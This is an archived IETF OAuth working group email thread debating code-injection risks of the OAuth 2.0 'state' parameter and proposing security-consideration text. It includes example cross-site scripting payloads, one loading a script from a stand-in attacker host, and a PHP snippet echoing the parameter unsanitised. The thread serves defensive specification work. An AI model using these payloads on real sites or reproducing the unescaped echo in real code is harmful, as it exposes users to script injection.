Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack...
EHL From: Aiden Bell [mailto:aiden...@gmail.com] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of "Don't trust inputs" It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way where the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request. If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify request authenticity. It should be noted however than a cryptographically authentic request may still contain malicious code if the client or server integrity can not be established and trusted. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- Not claiming it is good, well written or concise ... but it is proposed. Even if it is rejected, feedback would be appreciated. Thanks, Aiden On 20 July 2011 18:36, Eran Hammer-Lahav <e...@hueniverse.com<mailto:e...@hueniverse.com>> wrote: I think most of your description isn't very relevant to this particular attack. I'll skip to the part where the legitimate client gets a maliciously modified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some clients will not properly protect their code from invalid state values). For example, a client may use state to pass a JSON string and when it receives it back, calls eval() on the raw state value or even JSON.parse without catching exceptions. The right way to address this is to add a new security consideration section discussion the various Injection Attacks possible. Using state to include malicious code is one. Another is code injection in the redirect_uri by a malicious client to an authorization server supporting dynamic redirection URIs. Then of course, there really is no need for any elaborate setup for anyone to send requests to the client redirection URI endpoint directly (without following any of the flow). In such a case, the enforcement of safe state values by the authorization server will accomplish nothing if the client doesn't perform its own validation (and we're back to square one). In other words, I can call any endpoint on the client with any malicious parameters and try to break it. But even if you perform input validation on the client side, which should prevent a code injection attack, you are still open to other malicious manipulation of the state parameter. For example, a naïve client can use the state parameter to pass a user id so that when the redirection callback is called, it can link the access token to that account. That of course, would be a very bad thing (tm) without some protection (e.g. state cookie) which the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should highlight the possible code injection attacks on both the client and authorization server, as well as other security concerns around the state parameter. But at the end, it is up to both the client and authorization server developers to build secure applications. So, anyone volunteering to propose text? EHL > -----Original Message----- > From: bigbadb...@gmail.com<mailto:bigbadb...@gmail.com> > [mailto:bigbadb...@gmail.com<mailto:bigbadb...@gmail.com>] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:29 AM > To: Eran Hammer-Lahav > Cc: Breno; OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > The problem lies in the inherent trust of the state parameter. The naive > client application developer assumes that state goes out to the authorization > server and comes back unchanged; because that's what the spec says will > happen. > > As a malicious person I use the client application and steal the client id > when > I'm redirected to the authorization server. > > I then craft my own authorization URL pretending to act on behalf of the > client application. > > http://example.com/oauth/authorize?client_id=deadbeef&response_type= > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > I send that out to unsuspecting people. Those people are sent to my site; > maybe they trust it. The site is asking them to authorize an application they > perhaps they're familiar with. So they do. > > Now the assumption, and it's really not much of a leap of faith, is that some > client developer is going to take that state variable and put it directly into > their site. In PHP it could be something silly > like: > > Thanks for authorizing our app, $_GET["state"]. > > Chrome protects me from this basic attack (I just inserted it into one of my > demos): Refused to execute a JavaScript script. Source code of script found > within request. Other browsers won't. Real attackers are more creative than > me. > > -Bob > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > <e...@hueniverse.com<mailto:e...@hueniverse.com>> wrote: > > Can you provide examples of bad values and how they make the > implementation less secure? What's the attack vector here? > > > > EHL > > > >> -----Original Message----- > >> From: bigbadb...@gmail.com<mailto:bigbadb...@gmail.com> > >> [mailto:bigbadb...@gmail.com<mailto:bigbadb...@gmail.com>] On Behalf > Of > >> Bob Van Zant > >> Sent: Wednesday, July 20, 2011 9:10 AM > >> To: Breno; Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > >> > >> I think somewhere in here my original comments got lost. The spec, as > >> written, provides no limitations on what can go in the state variable. > >> If we don't define those limitations in the spec implementors are > >> going to define their own limitations (I'm on the verge of doing it > >> myself). > >> > >> I propose that the state variable be limited to the set of characters > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 characters. > >> It's simple, doesn't require URL encoding, and will be hard for a > >> client application to turn into a vulnerability. It provides plenty > >> of uniqueness (it can fit a sha512) for even the largest and most used > client applications. > >> > >> -Bob > >> > >> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > >> <breno.demedei...@gmail.com<mailto:breno.demedei...@gmail.com>> > >> wrote: > >> > > >> > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > >> > <e...@hueniverse.com<mailto:e...@hueniverse.com>> > >> > wrote: > >> >> > >> >> > >> >> > -----Original Message----- > >> >> > From: oauth-boun...@ietf.org<mailto:oauth-boun...@ietf.org> > >> >> > [mailto:oauth-boun...@ietf.org<mailto:oauth-boun...@ietf.org>] On > >> >> > Behalf Of Eliot Lear > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > >> >> > >> >> > One other point: if the redirection_uri can have fragments and > >> >> > can be provided, why is state necessary? > >> >> > >> >> First, I assume you mean query instead of fragment. > >> >> > >> >> This was discussed on the list about a year ago. There isn't a > >> >> requirement to support both dynamic redirection URIs as well as a > >> >> special state parameter. However, the state parameter provides a > >> >> better way to allow customization of the redirection request > >> >> alongside full registration of the redirection URI. Section 3.1.2 > >> >> recommends using the state parameter over changing the redirection > >> >> URI > >> itself. > >> >> > >> >> Using state is much simpler because the authorization server does > >> >> not have to implement potentially insecure URI comparison > >> >> algorithms for dynamic redirection URIs. > >> > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > >> > dynamic specification of query or fragment parameters in redirect > >> > URIs, for instance, due largely to security considerations. > >> > > >> >> > >> >> EHL > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org<mailto:OAuth@ietf.org> > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> > > >> > -- > >> > Breno de Medeiros > >> > > >> > > > _______________________________________________ OAuth mailing list OAuth@ietf.org<mailto:OAuth@ietf.org> https://www.ietf.org/mailman/listinfo/oauth -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org
_______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
